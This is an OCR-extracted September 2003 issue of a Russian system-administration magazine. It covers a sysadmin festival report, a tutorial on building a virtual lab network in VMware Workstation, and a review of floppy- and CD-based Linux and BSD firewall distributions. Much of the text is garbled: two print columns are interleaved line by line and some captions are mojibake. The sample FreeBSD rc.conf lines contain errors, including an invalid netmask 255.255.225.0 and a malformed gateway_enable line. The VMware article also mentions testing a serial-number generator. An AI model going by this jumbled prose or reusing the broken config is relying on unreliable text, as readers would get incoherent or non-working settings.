Маленький Linux
в качестве firewall
Работа с жестким диском
на программном уровне
Виртуальный полигон
для администратора
и разработчика
Искажение ТОС
как средство борьбы
с несанкционированным
копированием диска
Рецепты правильного
трудоустройства
Построение
переносимого Shell-кода
№9(10) сентябрь 2003
для Windows-систем
оглавление
РЕПОРТАЖ 2, 4 БЕЗОПАСНОСТЬ
2
репортаж
Константин Меделян
Íåîôèöèàëüíûé ñèìâîë ôåñòèâàëÿ
Фото Валентины Ванеевы
Для увеселения были придуманы конкурсы – «сизифов
труд» (надо вкатить в гору здоровенную колоду, а потом
спустить вниз, на время), «перетягивание к хабу» (а по-
скольку сисадмин должен протянуть сеть в любых услови-
ях, то перетягивали в воде), и многие другие. Призами в
конкурсах были полные подшивки нашего журнала, майки
от ALT Linux, а за некоторые конкурсы – дистрибутивы (ко-
манда, перетянувшая каоксиальный провод на свой берег,
получила дистрибутив «Утеса» – самой последней защи-
щенной серверной версии от ALT Linux). Кроме развлече-
ний, разумеется, были и серьезные семинары, хотя порой
и облечённые в несерьезную форму: так, один семинар
проходил в воде! Разработчик некого ПО сидя в речке,
4
репортаж
Ðåêà Ïðîòâà
«Ìîêðûé ñåìèíàð»
6
администрирование
ВИРТУАЛЬНЫЙ ПОЛИГОН
ДЛЯ АДМИНИСТРАТОРА
И РАЗРАБОТЧИКА
10
администрирование
администратора на рабочем столе есть несколько квад- служит у нас демилитаризованной зоной (DMZ). Внутри нее
ратных метров свободного места. У такого решения есть обитает машина со статическим адресом 192.168.40.32 под
еще одна неочевидная на первый взгляд загвоздка. Ник- управлением Linux Mandrake 9.0, на которой для демонст-
то не может гарантировать, что подержанное железо бу- рации работы сетевых служб будет установлен веб-сервер
дет стабильно работать, как положено. Попав в такую Apache со статическим адресом. Между собой три сети,
ловушку, можно потерять довольно много времени в по- перечисленные выше, соединены с помощью шлюза, ра-
пытках выяснить, почему та или иная подопытная опера- ботающего на основе FreeBSD 4.7 с тремя сетевыми ин-
ционная система категорически отказывается устанавли- терфейсами. Я надеюсь, всем понятно, что для более про-
ваться на выбранные компьютеры. стого функционирования наших сетей все три интерфейса
Второй вариант гораздо проще, удобнее. А самое глав- машины FreeBSD тоже должны иметь фиксированные ад-
ное – гораздо более продвинут с технической точки зре- реса. Ну и в роли нашего последнего пациента выступает
ния. Все, что нам понадобится, – это компьютер средней машина NetBSD с двумя интерфейсами. Первый из них с
мощности. Все наши тестовые сети и компьютеры, нахо- адресом 192.168.40.57 смотрит в демилитаризованную
дящиеся внутри них, мы создадим, используя средства зону, а второй является шлюзом в Интернет. На втором
комплекса виртуальных машин VMWare Workstation. интерфейсе 192.168.32.128 работает механизм преобра-
В данной статье будет подробно описана последова- зования сетевых адресов (NAT), это, в свою очередь, дает
тельность действий, необходимых для инсталляции возможность предоставить доступ к веб-серверу клиентам,
VMWare Workstation на Windows 2000 Professional. Затем находящимся в Интернете. Частично благодаря этому ма-
мы рассмотрим создание макета сетей, изображенного шины, находящиеся в наших локальных сетях, могут легко
на следующем рисунке. пользоваться услугами не только Linux веб-сервера, но
Как сделать то же самое для ALT Linux Master 2.2, бу- любого другого веб-сервера, расположившегося в любой
дет описано во второй части этой статьи. точке Интернета.
В сетях Vmnet2 и Vmnet3 находятся машины, работаю- Таким образом, у нас получается рабочий макет стан-
щие под управлением операционных систем Windows 98SE дартной схемы локальной сети масштаба предприятия,
и Windows 2000. Машина Windows 98SE имеет статичес- подключенной к Интернету. Для простоты понимания учеб-
кий адрес 192.168.120.15, а Windows 2000 получает адрес ного примера проведена миниатюризация, заключающа-
192.168.80.128 динамически с помощью DHCP. Сеть Vmnet1 яся в том, что в каждую сеть помещен только один компь-
12
администрирование
Материнская плата на основе чипсета Intel 440BX с под- ми для разных платформ. Интересно то, что запраши-
держкой 82093 AA IOAPIC и NS3380 SIO. вать пробные номера можно неограниченное количество
Оперативная память – в зависимости от доступной на раз, но на разные почтовые ящики. Вот так можно ис-
реальной машине. Не может превышать предел в 1 Гб. пользовать VMWare Workstation, не нарушая никаких за-
SCSI – до 7 одновременно подключенных устройств. конов, сколько угодно долго. Подобная лояльная поли-
Дает возможность создавать виртуальные жесткие тика персонала VMWare.inc вызывает искреннее уваже-
диски размером до 256 Гб. Простой интерфейс рабо- ние. Видимо, деньги – не самое важное для них. Как
ты со SCSI-устройствами позволяет легко подключать обычно, потакая собственному любопытству, я задался
DVD-ROM, CD-ROM, ленточные накопители, сканеры целью посмотреть, как обстоит дело с надежностью за-
и прочие SCSI-устройства. щиты, и пошел на ближайший поисковый сервер. Про-
Два гибких диска формата 3.5 дюйма по 1.44 Мб. грамма, генерирующая серийные номера для любой вер-
Три Ethernet-карты, совместимых с AMD PCnet-PCI II. сии VMWare Workstation, была найдена всего за 15 ми-
Контроллер USB 1.1 UHCI с двумя портами. Позволя- нут. Протестировав работоспособность создаваемых
ет работать с USB-сканерами, принтерами, цифровы- ключей для Windows и Linux, могу сказать, что они от-
ми камерами, наладонными компьютерами, устрой- лично работают и дают доступ к полной функциональ-
ствами для чтения карт памяти. ности виртуальной машины, снимая всяческие времен-
Четыре последовательных (COM) порта. ные ограничения. Годы пользования свободными опера-
Два параллельных (LPT) порта. ционными системами не прошли для меня даром, поэто-
Клавиатура с расширенной поддержкой 104 клавиш. му я очень не люблю нарушать любые лицензионные со-
Очень удобно для виртуальных машин, внутри кото- глашения. Опираясь на все вышесказанное, для себя
рых работают гостевые Windows-системы. лично принял решение не использовать добытые таким
Ввод и вывод звука через Creative Labs Sound Blaster образом серийные номера. Думаю, что маленькие еже-
Audio PCI. К сожалению, MIDI и джойстик не поддер- месячные неудобства, связанные с заказом новых проб-
живаются. ных лицензий, – терпимая плата за возможность работы
с таким потрясающим инструментом без всяких проблем
На основе такого богатого выбора можно создавать с представителями закона. Вы же можете поступать, как
любые, даже самые экзотичные, комбинации из выше- вам заблагорассудится.
перечисленного оборудования. Следующей в нашем В качестве первого этапа работы выполним процеду-
списке фигурирует гостевая операционная система, ко- ру инсталляции VMWare Workstation для Windows. То, что
торая работает с созданным нами набором виртуальных нам предстоит сделать, просто, как мычание. Скачиваем
устройств. На ее основе запускаются все приложения, отсюда: http://www.vmware.com/download/workstation.html
предназначенные для работы с этой конкретной систе- файл vmware-workstation-4.0.0-4460.
мой. Разобравшись с картинкой и принципами функци- Желательно также взять фирменную документацию по
онирования VMWare Workstation, приступим к практичес- теории функционирования виртуальных машин и справоч-
ким занятиям. ник часто задаваемых вопросов о гостевых системах в
ALT Linux Master 2.2 в качестве основной Linux-систе- формате pdf http://www.vmware.com/support/ws4/doc/. Ка-
мы был выбран не случайно, так как отсутствует в списке чество и подробность изложения справочного материала
официально поддерживаемых, а также за то, что вовре- выше всяких похвал.
мя оказался под рукой. Кроме всего прочего он довольно Запускаем инсталлятор на выполнение и несколько раз
широко распространен среди русскоязычных пользова- нажимаем кнопку Yes. Затем принимаем лицензионное
телей. Процедура установки на любой из официальных соглашение.
Linux-дистрибутивов слишком проста, чтобы научить чи-
тателя чему-то полезному. Многие подводные камни прой-
дут мимо и не будут замечены до тех пор, пока не придет-
ся самостоятельно устанавливать VMWare Workstation для
работы под управлением неофициального варианта Linux.
Пользуясь моим опытом, читатель ценой малой крови
сможет устанавливать VMWare Workstation на множество
других разновидностей Linux.
Освоив минимум теории, необходимой для успешной
работы с VMWare Workstation, перейдем к активным дей- Определяем целевую папку, куда нужно устанавливать
ствиям. На сайте производителя http://www.vmware.com/ файлы VMWare Workstation.
download/workstation.html заказываем себе пробный се-
рийный номер для Windows и Linux. Все подобные ли-
цензии действуют в течение 30 дней с момента отправ-
ки заказа. Таким образом, мы получаем в свое распоря-
жение на целый месяц полнофункциональную версию
программы. Через несколько минут в наш ящик элект-
ронной почты упадет два письма с серийными номера-
14
администрирование
является. Программное обеспечение NAT перехватывает На следующем экране показан диалог для добавле-
все проходящие пакеты и изменяет их так, чтобы систе- ния устройств типа мост. В нашем примере использовать
мы, находящиеся в реальной сети, считали, что общают- эту возможность мы не будем. Поэтому переходим к сле-
ся с реальным адаптером основной системы. При каж- дующей странице.
дом запросе, исходящем от виртуального адаптера, NAT
записывает запрос в специальную таблицу преобразова-
ний и открывает соединение с целевой системой, исполь-
зуя определенный диапазон портов реального интерфей-
са, и через него отправляет пакет. По приходу ответа,
опираясь на номер порта, NAT преобразует пакет к виду,
приемлемому для виртуальной сети, и отдает его вирту-
альному адаптеру, по запросу которого создавалось со-
единение. Таким образом, появляется возможность од-
новременной работы нескольких виртуальных адаптеров
через один реальный сетевой адрес.
DHCP-сервер (Dynamic host configuration protocol
server) – виртуальный сервер динамического конфигури-
рования узлов позволяет раздавать сетевые и админист-
ративные параметры централизованно для сетей на ос- Здесь мы видим список наших сетей. Надпись «Not
нове host-only и NAT. bridged» не настроена и на данный момент не может быть
Настал момент, когда нужно снова прекратить грызть использована.
гранит науки и опять начать практическую деятельность
по настройке макета наших виртуальных сетей.
Под Windows для выполнения этой задачи служит про-
грамма управления сетями «Virtual Network Editor». За-
пускаем ее, последовательно пройдя через меню Пуск →
Программы → VMWare Workstation → Manage virtual
networks. Того же результата можно добиться, если выб-
рать в работающей VMWare Workstation пункты меню Edit
→ Virtual Network Settings.
16
администрирование
Не стоит расслабляться и считать работу выполнен-
ной после того, как в списке адаптеров появится над-
пись «New device». На самом деле новый адаптер еще
не создан.
Как всегда, используем по прямому назначению кноп-
ку «Применить», после этого ждем, пока система выйдет
из задумчивого состояния и обновит список адаптеров.
На экране должно появиться что-то похожее на следую-
щую картинку.
18
администрирование
20
администрирование
ным. Для того, чтобы изменения вступили в силу, снова пе- Завершив настройку Windows 98, переходим к настрой-
резагружаемся. Для этого можно использовать клавишу, ке FreeBSD 4.7. Большинство действий, производимых
находящуюся на панели инструментов VMWare Workstation нами, будет схоже с предыдущим примером. Будем заос-
и состоящую из двух разноцветных стрелок, обвивающихся трять внимание только на отличиях. Итак, я создал вирту-
друг вокруг друга. После загрузки командой format c: разме- альную машину с жестким диском размером в 1 Гб диско-
чаем единственный раздел жесткого диска. Стоит отметить, вого пространства и 32 Мб оперативной памяти, если воз-
что загрузочная дискета, которой я пользуюсь, с помощью никнет надобность и желание что-либо менять, можете
драйвера mscdex самостоятельно подключает к системе CD- отдать ей гораздо меньше ресурсов. На быстродействие
ROM с дистрибутивом. По завершении процесса переходим этой системы подобные изменения никак не повлияют.
на диск D: и запускаем оттуда инсталляцию системы. Я ду- Стоит также отметить, что для FreeBSD лучше выделить
маю, что каждый из вас много раз выполнял последователь- все место сразу в файле виртуального диска. Как это
ность действий, необходимых для успешной инсталляции делать, мы обсуждали во время установки Windows. Если
Windows, поэтому опускаю рутинные подробности. Пример- этого не сделать, то посреди инсталляции вас может под-
но через 20 минут происходит первый запуск Windows. На жидать неприятность.
вашей машине этот временной промежуток может быть бо-
лее или менее продолжительным. Все зависит от скорости
реального жесткого диска. В процессе первой загрузки
Windows обнаружит следующие устройства: звуковую кар-
ту PCI Multimedia Audio Device, сетевой адаптер AMD PC Net
Family Ethernet (PCI-ISA) и стандартный видеоадаптер PCI
VGA. Для них будут автоматически подобраны наиболее под-
ходящие драйвера. Конечно, изображение на экране остав-
ляет желать лучшего, но нас это на данный момент не осо-
бенно интересует. Сейчас для нас самая главная задача – Видимо, в момент установки программного обеспече-
настроить сетевую подсистему Windows. Открываем на- ния обмен с винчестером слишком интенсивен, и диско-
стройки сетевой карты Windows и вносим туда вот такие вая подсистема Windows не выдерживает такой нагруз-
данные: IP-адрес 192.168.120.15 и маску сети 255.255.255.0: ки. Кстати, под Linux такой ошибки я не встречал ни разу.
Перед запуском инсталляции в машину нужно доба-
вить еще две дополнительные сетевые карты. Как, навер-
ное, догадались самые любознательные читатели, мы сно-
ва воспользуемся меню Edit → Virtual Machine Settings.
Во-первых, убеждаемся, что первая сетевая карта привя-
зана к сети Vmnet1. После этого нажимаем кнопку «Add»,
затем в новом окне жмем «Далее». В следующем диало-
говом окне выбираем строку Ethernet Adapter и снова
жмем «Далее».
gateway_enable-"YES"
defaultrouter="192.168.40.57"
ifconfig_lnc0="inet 192.168.40.2 netmask 255.255.225.0"
ifconfig_lnc1="inet 192.168.80.2 netmask 255.255.225.0"
ifconfig_lnc2="inet 192.168.120.2 netmask 255.255.225.0"
ping 192.168.120.2
ping 192.168.80.2
ping 192.168.40.2
22
администрирование
вых карт в виртуальную машину. Инсталляцию мы будем внутрь сети входящих TCP-пакетов, а нижняя соответ-
проводить не с CD-ROM, а с его iso-образа. Согласитесь, ственно UDP. Нам нужно настроить TCP, поэтому исполь-
довольно полезная возможность, если вы скачали образ зуем кнопку «Add» верхнего окна.
диска из Интернета, а под рукой нет пишущего CD-ROM. Настраиваем проброс так, чтобы все входящие пакеты с
Итак, чтобы пристыковать образ как диск CD-ROM, нужно порта 80 попадали на порт 80 веб-сервера. Несколько раз
сделать следующее. Настраиваем в BIOS загрузку с CD- жмем кнопку «OK» и затем один раз кнопку «Применить».
ROM, затем в списке оборудования выбираем этот самый Вот теперь можно начинать установку NetBSD. Обо-
CD-ROM. Изменяем его свойства так, чтобы стала актив- лочка инсталлятора очень похожа на оболочку FreeBSD,
на опция «Use ISO Image», затем с помощью кнопки поэтому, я думаю, проблем с ней возникнуть не должно.
«Browse» выбираем необходимый файл образа. Главное – не забыть настроить сетевую карту, смотря-
щую в сеть VMnet1 на адрес 192.168.40.57. Вторая карта
будет получать параметры своих настроек от сервера
DHCP, работающего в сети VMnet8. Кстати, стоит отме-
тить, что шлюзом по умолчанию для второй карты будет
адрес устройства NAT.
По окончании установки и настройки NetBSD все наши
подопытные сети смогут ходить в Интернет, а также
пользоваться услугами внутреннего веб-сервера. А кли-
енты из внешних сетей будут видеть веб-сервер на 80-м
порту сетевого адаптера нашей реальной машины.
В результате при заходе на веб-сервер из любой сети
Поскольку для связи с внешним миром NetBSD будет должна получаться вот такая картинка.
использовать NAT, нужно немного подправить настройки В данной статье намеренно не описываются никакие
сети VMnet8. Как обычно, для этих целей используем ре- меры по обеспечению безопасности вновь созданных се-
дактор сетей VMWare Workstation. Выбираем вкладку NAT, тей, потому что эта тема выходит далеко за рамки пове-
убеждаемся, что выбрана именно VMnet8, и жмем клави- ствования. Не стоит пытаться объять необъятное.
шу «Edit», в ответ открывается диалог настроек NAT. Нам Во второй части этой статьи мы поговорим об инстал-
нужно идти глубже, поэтому жмем на клавишу «Port ляции VMWare Workstation под Linux. И о том, как сделать
forwarding». Появляется еще одно окно, разделенное на точно такой же макет тренировочной сети под вышеназ-
два окна поменьше, верхняя часть отвечает за проброс ванной операционной системой.
Маленький Linux
в качестве firewall
СЕРГЕЙ ЯРЕМЧУК
24
администрирование
Со временем устаревает любая техника, в том числе оно честь такой идеи, и что самое интересное, на первона-
не считается и с компьютерами. Выпущенные буквально чальное знакомство и настройку ушло всего минут двад-
год назад считаются уже устаревшими. А что делать с цать, так что такой вариант может быть использован в
компьютерами, которым уже «далеко за»? Выбрасывать- экстренных случаях, когда вышел из строя основной мар-
то жалко. Иногда их фирма продает по дешевке, компен- шрутизатор. Итак, FreeSCO http://www.freesco.org (назва-
сируя покупку новых машин. Но на их плечи можно пере- ние пошло от Free ciSCO router). При таких маленьких раз-
ложить маленькие задачи, разгрузив таким образом бо- мерах, всего одна дискета, этот дистрибутив умеет до-
лее мощные системы. Так, их можно запросто настроить вольно многое: обеспечивает одновременную поддержку
как роутер и/или firewall, использовать в качестве бездис- до 3 ethernet/arcnet/token_ring/arlan сетевых карточек и до
ковых рабочих станций и Х-терминалов, отдельных 2 модемов (большинство нижеописываемых поддержива-
пользовательских машин и даже возложить на них мони- ют только два сетевых устройства), режим моста,
торинг, аудит и детектирование вторжения в компьютер- firewalling (для защиты внутренней сети от несанкциони-
ную сеть. Сегодня предлагаю познакомиться с дистрибу- рованного доступа из Интернета или ограничения досту-
тивами, которые позволяют настроить совместный дос- па в Интернет для внутренних пользователей), NAT (транс-
туп в Интернет, среди дополнительных возможностей не- ляция сетевого адреса для коллективного доступа в сеть),
которые имеют firewall, NAT, кеширующий DNS-сервер, сервер DNS, DHCP-сервер для динамического выделения
сервер DHCP, ftp- и www-серверы. В более продвинутых адресов, HTTP-сервер (для удаленного администрирова-
решениях встречается даже возможность создания вир- ния через веб-интерфейс – рис.1, 1а), telnet-сервер (для
туальных частных сетей VPN. Для большинства из рас- удаленного управления системой – рис.1б), print-cервер
сматриваемых дистрибутивов наличие жесткого диска и TIME-cервер (в комплекте есть и графический клиент
тоже необязательно. Некоторые помещаются на одну дис- для Windows). Системные требования также невысоки:
кету, обеспечивая только необходимый минимум, более процессор от i386, 6 Мб ОЗУ (рекомендовано 16 Mб). Под-
оснащенные варианты требуют уже наличия СD-ROM для держиваются большинство сетевых карт (полный список
своего запуска или установки. совместимых с дистрибутивом смотрите на сайте; соот-
Начнем, наверное, с любимчика. Это был один из пер- ветствующий драйвер, если что-то не получается, просто
вых дистрибутивов подобного направления, с которым положите в a:\router\drv). Модемы в принципе любые, кро-
мне пришлось столкнуться и который показал всю живу- ме, наверное, win-модемов. FreeSCO очень просто уста-
Ðèñóíîê 1.
Ðèñóíîê 1à.
навливать и настраивать. После перезагрузки в строке высоки – 386sx или лучше 12 Мб ОЗУ (при меньшем объе-
приглашения введите setup и отвечайте на вопросы. Зе- ме можно использовать более раннюю версию, которая
леным цветом выделены вопросы, которые необходимо есть на сайте). Очень простая система пакетов, которую
обязательно настроить, желтым – опциональные, а крас- можно использовать для добавления необходимых при-
ные вопросы для тех, кто в состоянии разобраться в том, ложений: редакторов, PPP, VPN и пр. Поддерживается ре-
что делает. Вводя номер телефона провайдера, при то- гистрация событий при помощи klogd/syslogd, локальное
новом наборе набейте перед номером букву Т, при им- и удаленное управление, имеются серверы DHCP и ке-
пульсном – Р, если вы используете мини-АТС, введите ширующий DNS для внутренних сетей. Образ сохраняет-
символ W, например Т9W2798007. Используется два па- ся на дискете с файловой системой FAT, что позволяет
роля: root и администратора (для удаленной настройки очень просто редактировать необходимые параметры в
через веб-интерфейс, 82 порт по умолчанию). И еще одно Windows или DOS, на свободное место, оставшееся на
удобство реализовано во FreeSCO, хотя все установки при дискете, можно добавить пару своих приложений, в том
выключении сохраняются на дискете, его можно устано- числе и пересобранное под свои нужды ядро. Настройка
вить на жесткий диск, для этого вместо setup введите производится вручную без помощи вспомогательных ути-
mv2hd. Жесткий диск должен быть отформатирован как лит, но все заготовки можно заранее прописать в .ini- и
FAT16 или FAT32. После перезагрузки введите setup и .cfg-файлах. Несмотря на необходимость изучения рабо-
делайте все, как описано выше (дискету перед этим, ес- ты соответствующих утилит (ipchains и ipmasqadm),
тественно, необходимо удалить). Затем можно доустано- floppyfw со своими обязанностями справляется на «отлич-
вить необходимые для работы программы, скомпилиро- но». В Интернете читал много хороших откликов, плюс
вав их предварительно в другом дистрибутиве. При таких ориентированность на безопасность.
размерах это просто супер. Coyote Linux (http://www.coyotelinux.com/). Цель этого
Floppyfw (http://www.zelow.no/floppyfw/index.html) крат- проекта состоит в том, чтобы обеспечить совместный дос-
ко можно охарактеризовать как маршрутизатор с расши- туп в Интернет, используя одно соединение и больше ни-
ренными возможностями firewall, который размещается и чего, но зато без предварительного изучения основ Linux
работает с одного диска. Поддерживаются списки досту- (хотя это в любом случае только приветствуется). При этом
па, IP-masquerading или NAT (Network Address Translation), первоначально необходимо сконфигурировать будущую си-
маршрутизация пакетов. Системные требования также не- стему при помощи визарда в Windows (рис.2) или скрипта
26
администрирование
Ðèñóíîê 1á.
в Linux. В ходе которого, отвечая на вопросы, можно будет этом ничего лишнего в систему не будет добавлено. После
выбрать размер будущей системы (от 1.44 до 1.73 Мб), чего система компилируется и записывается на дискету,
настроить сетевые интерфейсы, оптимизировать под ис- которую можно тут же клонировать. Поддерживается толь-
пользуемый процессор (от 386 без сопроцессора до 486), ко два сетевых интерфейса, но в FAQ можно найти ответ,
задать дополнительные приложения (ssh, webmin и пр.), при как создать DMZ (DeMiliterized Zone) для компьютеров, ко-
торым необходимы реальные IP-адреса (www, е-mail, ftp-
серверы) при помощи ifconfig.
Ulric’s Router Construction Kit (http://siag.nu/urck/) позво-
ляет собрать свой роутер на дискете, используя современ-
ные ядра серии 2.4.x. В комплекте идут только базовые
утилиты, но при необходимости можно расширить основ-
ные возможности роутинга за счет пакета Zebra (http://
www.zebra.org/) и пакета Vrrpd (http://w3.arobas.net/~jetienne/
vrrpd/index.html), позволяющего двум маршрутизаторам
контролировать работу друг друга и подстраховать, если
один из них выйдет из строя.
ShareTheNet (http://sharethenet.webserv.com) – вообще-
то один из первых подобных проектов (router + firewall), и
автор на первых порах продавал его очень долго и, как
мне кажется, довольно успешно, только относительно не-
давно (что-то около года) он стал бесплатным и доступ-
ным для свободной закачки. Первоначально необходимо
установить программу под Windows(рис.3), после чего со-
здать при помощи визарда дискету (рис.3а). Удаленное
администрирование также осуществляется при помощи
Ðèñóíîê 2. этой утилиты. Системные требования 80386+ и 8Mб, под-
Ðèñóíîê 3.
держивается два сетевых интерфейса (Ethernet и модем).
К сожалению, Linux Router Project (LRP 1997-2002) Дей-
ва Синейджа (Dave Cinege), размещавшийся по адресу Ðèñóíîê 3à.
http://linuxrouter.org/, буквально на днях приказал долго вать маленькие дистрибутивы, которые можно использо-
жить, но еще доступны старые версии этого неплохого вать в качестве маршрутизаторов, серверов доступа, тон-
дистрибутива. Другой проект, который работал парал- ких серверов и клиентов и прочих простых сетевых встра-
лельно, LEAF – Linux Embedded Appliance Firewall (http:// иваемых систем.
leaf.sourceforge.net), поддерживающий ядро 2.4.20 и тему FrazierWall Linux (http://www.frazierwall.com/) – еще один
LRP в нескольких вариациях, все еще продолжает созда- проект, берущий свое начало от LRP и Coyote Linux, но
Ðèñóíîê 4.
28
администрирование
Ðèñóíîê 4à.
после внесенных изменений уже в принципе заметно от- ется в двух вариантах: floppy, требующий две дискеты,
личающийся от своих прародителей. Его можно исполь- компьютер с процессором i386 и 4 Мб ОЗУ и СD-ROM (13.4
зовать в качестве NAT, роутера, firewall. Поддерживают- Мб), который загружается и работает только с СD-ROM,
ся DHCP для локальных клиентов, time server и отправка т.е. не требует установки на жесткий диск, и кроме спа-
логов firewall и предупреждения защиты по почте. Кроме сательных функций их возможно использовать в качестве
этого основной упор был сделан на легкость конфигури- gateway/firewall и dialup gateway. Дискетный вариант име-
рования и безопасность. Security обеспечивают дополни- ет шесть различных ревизий, каждая из которых направ-
тельные скрипты и предустановленный набор правил лена на решение одной конкретной задачи (Internet Dialup
firewall, позволяющий первоначально установить ее и но- Gateway, Full Rescue disk with ssh client support, Local and
вичку в этом деле. Системные требования процессор – Remote admin system with ssh support, Firewall Gateway,
i486 и 16 Mб RAM. Firewall/routing Gateway и companion disk с основными ути-
Далее речь пойдет о дистрибутивах, требующих уже литами). СD-ROM-вариант, естественно, имеет все эти и
СD-ROM для своей установки или работы. Появление их дополнителные возможности: VPN (Virtual Private Network),
вполне закономерно и понятно, не все необходимые фун- DHCP-сервер и поддержка PPPoA xDSL; Zebra Router, RIP,
кции можно запихнуть на дискету, плюс медленный, но OSPF, BGP; клиент и сервер SSH2; Full Rescue Disk
все-таки постепенный уход этого устройства и распрост- Facilities; syslogd; PPP Dial-on-demand Internet Gateway
раненность СD-RW, позволяющая любому записать их на (модемный Интернет по требованию). Все это построено
болванку. Да и мощность «устаревшего» оборудования на ядре 2.4.18 с поддержкой большинства устройств. Ин-
постепенно растет, если года три назад это были i386, то тересно, что в целях повышения безопасности файловая
теперь к ним относятся и i586 компьютеры и Celeron пер- система монтируется только в режиме read-only и не по-
вых выпусков. И вполне естественно, так как записать зволяет сохранить настройки на дискету. Чтобы иметь воз-
свою конфигурацию обратно на СD-ROM не получится, можность работать со своими настройками, первоначаль-
то в большинстве дистрибутивов имеется опция сохране- но необходимо внести свои данные в скачанный образ и
ния их на дискету или для работы необходим уже жест- затем уже записывать его на болванку или дискету. Как
кий диск, хотя в этом случае возможны варианты. это все можно проделать и в какие файлы вносить изме-
Keeper Linux (http://www.keeper.org.uk/) разрабатыва- нения, очень подробно рассказано в двух документах –
Ðèñóíîê 5.
«CDROM Distribution Howto» и «Floppy Distribution Howto», ловой системы ext2fs/3fs. Дальше необходимо просто че-
которые не грех и просто почитать как пример разделки стно ответить на вопросы об IP-адресах (поддерживается
подобных дистрибутивов. Теперь при попытке записи в три сетевых интерфейса GREEN, RED, ORANGE, доступ
RAM-устройство система обнаруживает это и просто пе- к которым можно настроить в различных варианциях),
резагружается, восстанавливая настройки по умолчанию. выбрать раскладку клавиатуры, временной пояс и при
Несмотря на первоначальную возню с образами, он пол- необходимости ввести телефонный номер провайдера, но,
ностью соответствует своему девизу «Powerful, Reliable к сожалению, только один. Сетевые устройства програм-
and Secure». ма установки находит сама, при неудаче можно попробо-
SmoothWall (http://www.smoothwall.org/). Первый дист- вать выбрать из довольно объемистого списка. После все-
рибутив этого проекта увидел свет в июле 2000 года, со- го следует запрос трех паролей для пользователей root,
здается он администраторами и специалистами по безо- setup (для запуска программы изменения первичных на-
пасности. Причем самое бурное развитие приходится на строек /usr/local/sbin/setup) и admin. После окончания про-
2003 год. Если в конце прошлого (2002) года мне пришлось цесса установки можно, предварительно достав выехав-
работать с версией 0.9.9, то сейчас уже доступна бета 5 ший диск, запихать компьютер под стол. Все дальнейшие
версии 2.0 «Orient». Данный дистрибутив построен на со- действия по настройке теперь можно производить через
временном ядре серии 2.4.21, имеет низкие системные удобный веб-интерфейс (рис.4, 4а), для чего нужно зайти
требования (рекомендуется 486i, 16 Мб ОЗУ), поддержи- по адресу http://smoothwall:81 или https://smoothwall:445 для
вает кроме разнообразных сетевых устройств (Ethernet работы по защищенному протоколу. И теперь можно уз-
10/100, ISDN, USB ADSL) и обычные аналоговые модемы, нать статистику о работе роутера (uptime, учет количе-
также и IDE CD-ROM (с которого, собственно, произво- ства пакетов и скорость передачи по интерфейсам, ис-
дится инсталляция дистрибутива), и, конечно же, диско- пользование диска, пользователи), получить справку о
вод. ISO-образ дистрибутива занимает чуть более 20 Мб. настройке тех или иных параметров, войти в shell, изме-
Установка особой сложности не вызывает. Программа ус- нить работу некоторых сервисов, остановить (или пере-
тановки сама автоматически разбивает диск /dev/hda на загрузить) роутер или отключить один из интерфейсов.
4 раздела (/boot, swap, /var/log и корневой), хотя в даль- Теперь о некоторых features. SmootWall выполняет роль
нейшем это можно изменить. В комплект входят все не- кеширующего веб-сервера (по умолчанию: время обнов-
обходимые утилиты для создания и обслуживания фай- ления 15 мин, кеш 4 Мб), при необходимости в DHCP-сер-
30
администрирование
Ðèñóíîê 5à.
висе нужно просто указать в setup в соответствующей SSH, SNMP и DHCP-сервер, кеширующий DNS-сервер,
вкладке диапазон IP-адресов и включить сервис. Кроме zebra RIP, OSPF и BGP, crond и, что приятно, почему-то
веб-интерфейса можно войти с помощью SSH. В лог-фай- редко встречающийся nmap.
лах (которые можно импортировать нажатием одной кноп- Astaro Security Linux (http://www.astaro.com/) – еще один
ки) можно найти подробные данные сетевой системы пре- дистрибутив, основное назначение которого – организа-
дупреждения о вторжении (NIDS) snort (имя, адрес, дата, ция совместного доступа в Интернет, но вот размер (пос-
степень опасности и т. д.), подробности работы firewall и ле распаковки архива получается 216 Мб) уже говорит о
отчеты всех остальных запущенных сервисов и ядра. серьезности подхода, а название – об основной направ-
Имеется возможность создания VPN, используя IPSec, ленности. После установки на жесткий диск, кроме firewall
устанавливающуюся вместе с системой (трафик при этом и контекстного фильтра, защищающего в том числе и от
шифруется при помощи алгоритма 3DES). Единственная вирусов, можно организовать DMZ, proxy server, SNAT,
сложность при установке SmoothWall, о которой довелось DNAT, Masquerading и VPN, которые делают этот дистри-
пока слышать, на очень старых компьютерах (скорее все- бутив идеальным решением для защиты сети. Интерес-
го из-за BIOS) это: но, что при инсталляции можно лишь настроить дистри-
бутив в общих чертах (указывается только IP-адрес са-
Unable to make boot filesystem мого сервера), основные же настройки можно произво-
/cdrom/bin/mke2fs: invalid option --j
дить, либо непосредственно редактируя конфигурацион-
Т.е. система не может создать раздел ext3. Решается ные файлы, либо более наглядно и проще для новичка
она, как ни странно, выбором типа установки при помо- через WebAdmin (рис.5, 5а). При помощи сервиса Up2Date
щи http, а не CD-ROM (если канал позволяет). можно автоматически обновлять компоненты, плюс неко-
Надежность старых жестких дисков тоже вызывает со- торые патчи доступны на сайте. Рекомендуется процес-
мнение, чтобы установить маршрутизатор на одно из ус- сор класса Intel Pentium II, 128 Мб ОЗУ, СD-ROM, жесткий
тройств DiskOnChip, использующих NFTL (NAND Flash диск, две или более сетевые карточки. Система поддер-
Translation Layer), необходимо обратиться к проекту живает большое количество разнообразных устройств, в
Routerlinux (http://www.routerlinux.com/). Установив затем том числе и знает о беспроводных. А документацию, ко-
кроме стандартных firewall/router/NAT модем и Ethernet, торой полно как на сайте, так и в дистрибутиве, не грех
можно создать VPN-туннель при помощи IPSec, имеется почитать и для общего развития.
Ðèñóíîê 6à.
любом случае придется лезть в командную строку, всех
Ðèñóíîê 6. пунктов не предусмотришь. Но чтобы новичку не при-
Кроме Linux, естественно, имеется пара дистрибути- шлось самому разбираться с опциями firewall, имеется пре-
вов, основанных на BSD. дустановленный (Basic) набор правил для типичной сис-
PicoBSD (http://www.freebsd.org/~picobsd/) представля- темы и режим «Advanced» для добавления своего прави-
ет собой «one floppy» версию FreeBSD 3.0-current. Имеет- ла (надо отметить тоже с шаблонами, что существенно
ся три варианта этой системы: Dialup Version, Networking облегчает работу). Дополнительно имеется пункт меню
Version и Router Version, т.е. полноценная система, кото- monitor для отображения статистик, проходящих через
рую можно использовать как для маленького маршрути- систему пакетов. В данный момент не поддерживаются
затора, так и повседневного безопасного хождения по модемы и что-то наподобие IPSec, позволяющие создать
